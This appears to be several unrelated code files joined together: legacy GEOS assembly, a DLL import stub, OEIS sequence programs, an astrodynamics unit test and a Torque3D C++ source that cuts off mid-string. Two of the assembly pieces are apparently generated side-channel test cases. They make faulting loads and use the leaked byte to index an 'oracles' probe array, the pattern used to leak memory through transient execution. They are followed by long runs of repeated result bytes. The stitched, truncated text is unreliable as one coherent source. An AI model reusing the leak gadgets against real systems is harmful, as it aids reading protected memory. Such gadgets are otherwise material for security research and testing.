(jz) if no entries for StandardPath if entry exists: es:di - ptr to entry else: es:di - ptr to start of entries for StandardPath cx - length of path string w/o NULL DESTROYED: ax, dx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 4/13/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FSP_FindStandardPathEntry proc near uses bx .enter ; ; Figure out how big the string we're adding is. ; push es segmov es, ds mov di, si ;es:di <- ptr to path string call LocalStringLength ;cx <- string size w/o NULL mov dx, cx pop es ; ; Calculate the pointer to the start of the entries ; mov di, ax dec di ;di <- offset to offset CheckHack <SP_TOP eq 1> mov ax, es:[SDP_pathOffsets][di] cmp ax, es:[SDP_pathOffsets][di][2] mov di, ax stc ;carry <- not found / no entries je done ;branch if no entries ; ; Entries exist -- see if one is ours ; mov bx, di ;es:bx <- ptr to section cmpLoop: ; ; See if we've reached a zero-length string, which signals ; the end of our section. ; call LocalStringLength jcxz notFound ;branch if reached end ; ; See if the string is ours. We have the lengths of both the ; string we're looking at and our string, so we do a quick check ; to see if they're even the same size first. ; cmp cx, dx ;same length? jne nextString ;not equal if different lengths call LocalCmpStringsNoCase clc ;carry <- found match je doneHaveEntries ;branch if match ; ; Mismatch -- advance to the next string. cx is the length. ; nextString: add di, cx ;es:di <- ptr to NULL inc di ;es:di <- ptr beyond NULL DBCS < add di, cx ;> DBCS < inc di ;> jmp cmpLoop ; ; The string was not found -- return the pointer to the start ; of the section for purposes of inserting ; notFound: mov di, bx ;es:di <- ptr to section stc ;carry <- not found doneHaveEntries: inc cx ;clear z flag EC < ERROR_Z GASP_CHOKE_WHEEZE > done: ; ; Return the length of our string ; mov cx, dx ;cx <- length of our string .leave ret FSP_FindStandardPathEntry endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FSP_AdjustStandardPathPtrs %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Adjust pointers in the standard paths block after insert/delete CALLED BY: FileAddStandardPathDirectory() PASS: es - seg addr of standard paths block cx - amount to adjust by (signed) ax - StandardPath added to / deleted from RETURN: none DESTROYED: di PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 4/15/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FSP_AdjustStandardPathPtrs proc near .enter ; ; Calculate the pointer to the first offset to adjust. ; We don't want to adjust our pointer, but any after it. ; mov di, ax inc di ;es:di <- ptr to offset CheckHack <SP_TOP eq 1> ; ; Loop throught the offsets and adjust them ; adjustLoop: add es:[SDP_pathOffsets][di], cx add di, (size nptr) ;es:di <- next offset cmp di, offset SDP_blockSize jbe adjustLoop .leave ret FSP_AdjustStandardPathPtrs endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FSP_GenerateNotify %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Generate a notification for adding/deleting a StandardPath CALLED BY: FileAddStandardPathDirectory(), FileCreateLocalStdPath() PASS: ax - StandardPath added/deleted si - FileChangeNotificationType RETURN: none DESTROYED: bx, cx, dx, si PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 4/19/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FSP_GenerateNotify proc far uses ax .enter xchg si, ax ;si <- StandardPath ;ax <- FileChangeNotificationType clr cx, dx ;cx, dx <- no ID call FSDGenerateNotify .leave ret FSP_GenerateNotify endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FSP_InvalidatePaths %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Invalidate all the paths that have changed CALLED BY: FileAddStandardPathDirectory() PASS: ax - StandardPath that has been added/deleted RETURN: carry - set if callback ended early ax - FileError DESTROYED: di PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 4/20/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FSP_InvalidatePaths proc near uses ax, bp, si .enter mov bp, ax ;bp <- StandardPath mov di, SEGMENT_CS mov si, offset FSP_InvalidatePathCallback call FileForEachPath .leave ret FSP_InvalidatePaths endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FSP_InvalidatePathCallback %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Invalidate one path CALLED BY: FSP_InvalidatePaths() via FileForEachPath() PASS: di - disk handle of path bx - memory handle of path ds - idata bp - StandardPath added/deleted RETURN: carry - set to end processing ax - FileError DESTROYED: es PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 4/20/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FSP_InvalidatePathCallback proc far uses ax, bx, di .enter test di, DISK_IS_STD_PATH_MASK jz done ;branch if not standard path ; ; See if the StandardPath in the path is affected by the change ; cmp bp, di ;same directory? je invalPath ;branch if same directory push bx mov bx, di ;bx <- path's StandardPath call FileStdPathCheckIfSubDir pop bx tst ax ;subdirectory? jnz done ;branch if not subdirectory ; ; Invalidate the path by setting the DPI_EXIST_LOCALLY flag ; and clearing the DPI_ENTRY_NUMBER_IN_PATH field. ; invalPath: call MemLock mov es, ax ;es <- seg addr of FilePath EC < test di, not (mask DPI_STD_PATH) > EC < ERROR_NZ GASP_CHOKE_WHEEZE > ornf di, mask DPI_EXISTS_LOCALLY mov es:FP_pathInfo, di call MemUnlock done: clc ;carry <- don't abort .leave ret FSP_InvalidatePathCallback endp Filemisc ends
.model flat, C .data __imp__EncodePointer@4 dd dummy __imp__DecodePointer@4 dd dummy EXTERNDEF __imp__EncodePointer@4 : DWORD EXTERNDEF __imp__DecodePointer@4 : DWORD .code dummy proc mov eax, [esp+4] ret 4 dummy endp end
; A083040: Number of divisors of n that are <= 4 ; 1,2,2,3,1,3,1,3,2,2,1,4,1,2,2,3,1,3,1,3,2,2,1,4,1,2,2,3,1,3,1,3,2,2,1,4,1,2,2,3,1,3,1,3,2,2,1,4,1,2,2,3,1,3,1,3,2,2,1,4,1,2,2,3,1,3,1,3,2,2,1,4 add $0,1 gcd $0,12 log $0,2 mov $1,$0 add $1,1
#d8 ; error: expected expression
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r14 push %r15 push %rax push %rcx push %rdi push %rsi lea addresses_normal_ht+0x1cc65, %r14 nop add $49216, %rax movb (%r14), %r10b and %r15, %r15 lea addresses_A_ht+0x1dea9, %rsi lea addresses_WT_ht+0x1d32d, %rdi nop nop cmp %r13, %r13 mov $72, %rcx rep movsw nop nop xor $6371, %r14 pop %rsi pop %rdi pop %rcx pop %rax pop %r15 pop %r14 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r9 push %rax push %rbp push %rbx push %rcx push %rdi push %rsi // Store lea addresses_UC+0x5eb5, %rdi nop nop nop nop add $9173, %r11 movw $0x5152, (%rdi) nop nop nop dec %rdi // REPMOV lea addresses_RW+0x1f495, %rsi lea addresses_WC+0xbd1, %rdi nop nop sub %rbp, %rbp mov $33, %rcx rep movsw and %rax, %rax // Store lea addresses_WT+0xd7a9, %rax nop dec %rbp mov $0x5152535455565758, %rbx movq %rbx, %xmm7 vmovups %ymm7, (%rax) nop nop and $41699, %rsi // Faulty Load mov $0x5d6c890000000ea9, %rbx nop nop xor %rsi, %rsi mov (%rbx), %eax lea oracles, %rbx and $0xff, %rax shlq $12, %rax mov (%rbx,%rax,1), %rax pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r9 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_NC', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_UC', 'congruent': 2}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 1, 'type': 'addresses_WC'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_RW'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WT', 'congruent': 8}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_NC', 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_normal_ht', 'congruent': 2}} {'dst': {'same': False, 'congruent': 2, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_A_ht'}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
/* Copyright (c) 2010-2018, Delft University of Technology * All rigths reserved * * This file is part of the Tudat. Redistribution and use in source and * binary forms, with or without modification, are permitted exclusively * under the terms of the Modified BSD license. You should have received * a copy of the license with this file. If not, please or visit: * http://tudat.tudelft.nl/LICENSE. * */ #define BOOST_TEST_MAIN #include <boost/test/unit_test.hpp> #include "Tudat/Basics/testMacros.h" #include "Tudat/Astrodynamics/Gravitation/triAxialEllipsoidGravity.h" namespace tudat { namespace unit_tests { using namespace tudat::gravitation; //! Function to get theoretical values of zonal gravity field coefficient of ellipsoid of revolution double getZonalTermForEllipsoidOfRevolution( const double axisA, const double axisC, const double referenceRadius, const int degree ) { double zonalTerm = 0.0; if( degree % 2 == 0 ) { zonalTerm = 3.0 / std::pow( referenceRadius, degree ) * std::pow( axisA * axisA - axisC * axisC, degree / 2 ) * std::pow( -1.0, degree / 2 ) / ( ( static_cast< double >( degree ) + 1.0 ) * ( static_cast< double >( degree ) + 3.0 ) ); } return zonalTerm; } BOOST_AUTO_TEST_SUITE( test_tri_axial_ellipsoid_gravity ) //! Test gravity field coefficients of homogeneous triaxial ellipsoid BOOST_AUTO_TEST_CASE( testTriAxialEllipsoidGravity ) { double axisA = 26.8E3; double axisB = 22.4E3; double axisC = 18.4E3; // Compute coefficients std::pair< Eigen::MatrixXd, Eigen::MatrixXd > sphericalHarmonicCoefficients = createTriAxialEllipsoidSphericalHarmonicCoefficients( axisA, axisB, axisC, 4, 4 ); double referenceRadius = calculateTriAxialEllipsoidReferenceRadius( axisA, axisB, axisC ); // Compute expected low-degree coefficients double expectedC20 = 1.0 / ( 5.0 * referenceRadius * referenceRadius ) * ( axisC * axisC - ( axisA * axisA + axisB * axisB ) / 2.0 ); double expectedC22 = 1.0 / ( 20.0 * referenceRadius * referenceRadius ) * ( axisA * axisA - axisB * axisB ); double expectedC40 = 15.0 / 7.0 * ( expectedC20 * expectedC20 + 2.0 * expectedC22 * expectedC22 ); double expectedC42 = 5.0 / 7.0 * ( expectedC20 * expectedC22 ); double expectedC44 = 5.0 / 28.0 * ( expectedC22 * expectedC22 ); BOOST_CHECK_CLOSE_FRACTION( expectedC20, sphericalHarmonicCoefficients.first( 2, 0 ), 2.0 * std::numeric_limits< double >::epsilon( ) ); BOOST_CHECK_CLOSE_FRACTION( expectedC22, sphericalHarmonicCoefficients.first( 2, 2 ), 2.0 * std::numeric_limits< double >::epsilon( ) ); BOOST_CHECK_CLOSE_FRACTION( expectedC40, sphericalHarmonicCoefficients.first( 4, 0 ), 2.0 * std::numeric_limits< double >::epsilon( ) ); BOOST_CHECK_CLOSE_FRACTION( expectedC42, sphericalHarmonicCoefficients.first( 4, 2 ), 2.0 * std::numeric_limits< double >::epsilon( ) ); BOOST_CHECK_CLOSE_FRACTION( expectedC44, sphericalHarmonicCoefficients.first( 4, 4 ), 2.0 * std::numeric_limits< double >::epsilon( ) ); // Check whether C-coefficients with odd degree or order, and all S-coefficients, are zero. for( unsigned int i = 0; i < 5; i++ ) { for( unsigned int j = 0; j < 5; j++ ) { if( ( i % 2 != 0 ) || ( j % 2 ) != 0 ) { BOOST_CHECK_EQUAL( sphericalHarmonicCoefficients.first( i, j ), 0.0 ); } BOOST_CHECK_EQUAL( sphericalHarmonicCoefficients.second( i, j ), 0.0 ); } } // Compute gravity field coefficients for ellipsoid of revolution axisB = axisA; referenceRadius = calculateTriAxialEllipsoidReferenceRadius( axisA, axisB, axisC ); sphericalHarmonicCoefficients = createTriAxialEllipsoidSphericalHarmonicCoefficients( axisA, axisB, axisC, 20, 1 ); // Check computation against theoretical values. for( int i = 2; i < 21; i += 2 ) { BOOST_CHECK_CLOSE_FRACTION( sphericalHarmonicCoefficients.first( i, 0 ), getZonalTermForEllipsoidOfRevolution( axisA, axisC, referenceRadius, i ), 2.0 * std::numeric_limits< double >::epsilon( ) ); } } BOOST_AUTO_TEST_SUITE_END( ) } }
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r15 push %r8 push %r9 push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x1aa8a, %r9 clflush (%r9) nop nop nop nop nop cmp %r15, %r15 mov (%r9), %r8 nop sub $44773, %r15 lea addresses_D_ht+0x5802, %r10 nop nop sub $318, %rdx movb $0x61, (%r10) nop nop nop xor %r15, %r15 lea addresses_UC_ht+0x160ca, %r8 nop and $52266, %r15 mov $0x6162636465666768, %r9 movq %r9, %xmm4 vmovups %ymm4, (%r8) nop sub %r10, %r10 lea addresses_D_ht+0x10ca, %r12 nop nop nop sub %rcx, %rcx vmovups (%r12), %ymm4 vextracti128 $1, %ymm4, %xmm4 vpextrq $1, %xmm4, %r15 nop nop and $11838, %r15 lea addresses_WC_ht+0x123ca, %r15 nop nop nop and $62663, %rcx mov (%r15), %r12w nop nop nop xor %rcx, %rcx lea addresses_normal_ht+0x12aca, %rsi lea addresses_D_ht+0xd20a, %rdi clflush (%rdi) nop nop add %r10, %r10 mov $29, %rcx rep movsq nop nop nop sub $61271, %r8 lea addresses_WC_ht+0x187d3, %rsi lea addresses_normal_ht+0x1d7ca, %rdi nop and $56017, %rdx mov $51, %rcx rep movsw nop xor $51266, %rsi lea addresses_UC_ht+0x16052, %rcx clflush (%rcx) nop nop nop cmp %r15, %r15 mov $0x6162636465666768, %r12 movq %r12, %xmm3 movups %xmm3, (%rcx) nop nop nop inc %rdi lea addresses_D_ht+0xcc72, %r9 nop xor $20254, %r12 mov (%r9), %r10w nop nop nop nop nop cmp %r15, %r15 lea addresses_WT_ht+0x6aca, %rdi clflush (%rdi) nop nop nop sub $44590, %r15 movb (%rdi), %dl nop nop cmp $53497, %rsi lea addresses_UC_ht+0x13a4a, %rsi lea addresses_WT_ht+0x9bdc, %rdi nop nop nop sub %rdx, %rdx mov $41, %rcx rep movsb nop nop nop cmp %rdi, %rdi lea addresses_UC_ht+0x24ca, %r9 nop cmp %rsi, %rsi mov $0x6162636465666768, %r8 movq %r8, %xmm7 vmovups %ymm7, (%r9) nop nop nop add %rdx, %rdx lea addresses_normal_ht+0x3a28, %rdx nop nop nop nop dec %rdi mov (%rdx), %r8w nop add %r15, %r15 lea addresses_A_ht+0x1d08a, %r9 clflush (%r9) inc %r15 movb $0x61, (%r9) nop nop xor %r12, %r12 lea addresses_UC_ht+0x582a, %rsi lea addresses_WT_ht+0x8eca, %rdi nop nop nop nop nop sub $56243, %r8 mov $98, %rcx rep movsw nop nop sub %rcx, %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %r9 pop %r8 pop %r15 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r8 push %r9 push %rsi // Faulty Load lea addresses_A+0xc8ca, %r9 nop nop nop dec %rsi vmovups (%r9), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $1, %xmm1, %r11 lea oracles, %rsi and $0xff, %r11 shlq $12, %r11 mov (%rsi,%r11,1), %r11 pop %rsi pop %r9 pop %r8 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_A', 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_A', 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_A_ht', 'congruent': 5}} {'dst': {'same': True, 'NT': False, 'AVXalign': True, 'size': 1, 'type': 'addresses_D_ht', 'congruent': 3}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_UC_ht', 'congruent': 11}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_D_ht', 'congruent': 10}} {'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 2, 'type': 'addresses_WC_ht', 'congruent': 8}} {'dst': {'same': False, 'congruent': 3, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 9, 'type': 'addresses_normal_ht'}} {'dst': {'same': False, 'congruent': 8, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_WC_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_UC_ht', 'congruent': 2}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D_ht', 'congruent': 1}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WT_ht', 'congruent': 9}} {'dst': {'same': False, 'congruent': 1, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_UC_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_UC_ht', 'congruent': 10}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 2, 'type': 'addresses_normal_ht', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_A_ht', 'congruent': 6}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 8, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_UC_ht'}} {'35': 21829} 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 */
Name: ys_w12.asm Type: file Size: 14461 Last-Modified: '2016-05-13T04:50:34Z' SHA-1: 993C63AE999C843BC55651BBCE2C96A454860496 Description: null
; A132593: Nonnegative integer solutions X to the equation: X(X + 1) - 10*Y^2 = 0. ; 0,9,360,13689,519840,19740249,749609640,28465426089,1080936581760,41047124680809,1558709801289000,59189925324301209,2247658452522156960,85351831270517663289,3241121929827149048040,123077281502161146162249,4673695575152296405117440,177477354574285102248300489,6739465778247681589030301160,255922222218837615280903143609,9718304978537581699085289156000,369039666962209266949960084784409,14013789039585414562399397932651560,532154943837283544104227161355974889 mul $0,2 seq $0,5667 ; Numerators of continued fraction convergents to sqrt(10). div $0,2
// Copyright information can be found in the file named COPYING // located in the root directory of this distribution. #include "platform/platform.h" #include "T3D/fx/particleEmitter.h" #include "scene/sceneManager.h" #include "scene/sceneRenderState.h" #include "console/consoleTypes.h" #include "console/typeValidators.h" #include "core/stream/bitStream.h" #include "core/strings/stringUnit.h" #include "math/mRandom.h" #include "gfx/gfxDevice.h" #include "gfx/primBuilder.h" #include "gfx/gfxStringEnumTranslate.h" #include "renderInstance/renderPassManager.h" #include "T3D/gameBase/gameProcess.h" #include "lighting/lightInfo.h" #include "console/engineAPI.h" #if defined(TORQUE_OS_XENON) # include "gfx/D3D9/360/gfx360MemVertexBuffer.h" #endif Point3F ParticleEmitter::mWindVelocity( 0.0, 0.0, 0.0 ); const F32 ParticleEmitter::AgedSpinToRadians = (1.0f/1000.0f) * (1.0f/360.0f) * M_PI_F * 2.0f; IMPLEMENT_CO_DATABLOCK_V1(ParticleEmitterData); IMPLEMENT_CONOBJECT(ParticleEmitter); ConsoleDocClass( ParticleEmitter, "@brief This object is responsible for spawning particles.\n\n" "@note This class is not normally instantiated directly - to place a simple " "particle emitting object in the scene, use a ParticleEmitterNode instead.\n\n" "This class is the main interface for creating particles - though it is " "usually only accessed from within another object like ParticleEmitterNode " "or WheeledVehicle. If using this object class (via C++) directly, be aware " "that it does <b>not</b> track changes in source axis or velocity over the " "course of a single update, so emitParticles should be called at a fairly " "fine grain. 